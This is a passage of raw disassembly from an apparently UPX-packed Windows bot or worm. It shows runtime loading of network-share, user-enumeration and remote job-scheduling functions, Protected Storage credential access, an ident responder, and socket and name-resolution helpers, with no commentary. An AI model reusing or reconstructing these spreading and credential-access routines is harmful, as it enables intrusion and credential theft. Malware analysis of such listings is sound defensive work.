[ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call ds:dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: UPX0:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF10, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF18, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF1C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF20, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF24, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF28, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF2C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF30, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF34, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF38, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF3C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF40, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF44, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF48, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF54, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF58, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF5C, eax cmp ds:dword_41DF54, 0 jz short loc_403D85 cmp ds:dword_41DF58, 0 jz short loc_403D85 cmp ds:dword_41DF5C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov ds:dword_41DF54, offset sub_403588 mov ds:dword_41DF58, offset sub_4038BA mov ds:dword_41DF5C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF50, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call ds:dword_417058 ; GetProcAddress mov ds:dword_41DF4C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, ds:byte_41EF98 test eax, eax jz short loc_403F27 push offset byte_41EF98 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41F018 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp ds:dword_41E364, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E368 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E364 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, ds:dword_41E368 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call ds:dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call ds:dword_41DF58 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call ds:dword_41DF58 ; getnameinfo test 